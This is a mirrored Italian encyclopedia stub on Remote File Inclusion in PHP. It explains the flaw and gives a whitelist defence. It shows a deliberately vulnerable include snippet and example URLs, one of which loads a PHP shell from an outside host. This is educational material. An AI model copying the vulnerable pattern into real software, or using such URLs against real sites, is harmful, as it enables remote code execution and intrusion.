Technopedia Center
PMB University Brochure
Faculty of Engineering and Computer Science
S1 Informatics S1 Information Systems S1 Information Technology S1 Computer Engineering S1 Electrical Engineering S1 Civil Engineering

faculty of Economics and Business
S1 Management S1 Accountancy

Faculty of Letters and Educational Sciences
S1 English literature S1 English language education S1 Mathematics education S1 Sports Education
teknopedia

teknopedia

teknopedia

teknopedia

teknopedia

teknopedia
teknopedia
teknopedia
teknopedia
teknopedia
teknopedia
  • Registerasi
  • Brosur UTI
  • Kip Scholarship Information
  • Performance
  1. Weltenzyklopädie
  2. Remote File Inclusion - Teknopedia
Remote File Inclusion - Teknopedia
Abbozzo sicurezza informatica
Questa voce sull'argomento sicurezza informatica è solo un abbozzo.
Contribuisci a migliorarla secondo le convenzioni di Teknopedia.

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del PHP. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.

Codice vulnerabile

[modifica | modifica wikitesto]

Questo è un semplice esempio di un codice vulnerabile:

  <?php 
  $var = $_GET['var']; 
  include ($var);
  ?>

con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si può vedere in azione il bug.

http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it

in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sarà inclusa la index di miositoincluso.it

Come funziona l'attacco

[modifica | modifica wikitesto]

Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una shell in PHP

http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt

da notare che la pagina da includere non deve essere in PHP (perché altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).

Come difendersi

[modifica | modifica wikitesto]

In genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.

http://miosito.it/index.php?var=1

poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:

<?php
 $var = $_GET['var'];
 if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
 elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
 else die('tentativo di intrusione');
?>
Estratto da "https://it.wikipedia.org/w/index.php?title=Remote_File_Inclusion&oldid=134857915"

  • Indonesia
  • English
  • Français
  • 日本語
  • Deutsch
  • Italiano
  • Español
  • Русский
  • فارسی
  • Polski
  • 中文
  • Nederlands
  • Português
  • العربية
Pusat Layanan

UNIVERSITAS TEKNOKRAT INDONESIA | ASEAN's Best Private University
Jl. ZA. Pagar Alam No.9 -11, Labuhan Ratu, Kec. Kedaton, Kota Bandar Lampung, Lampung 35132
Phone: (0721) 702022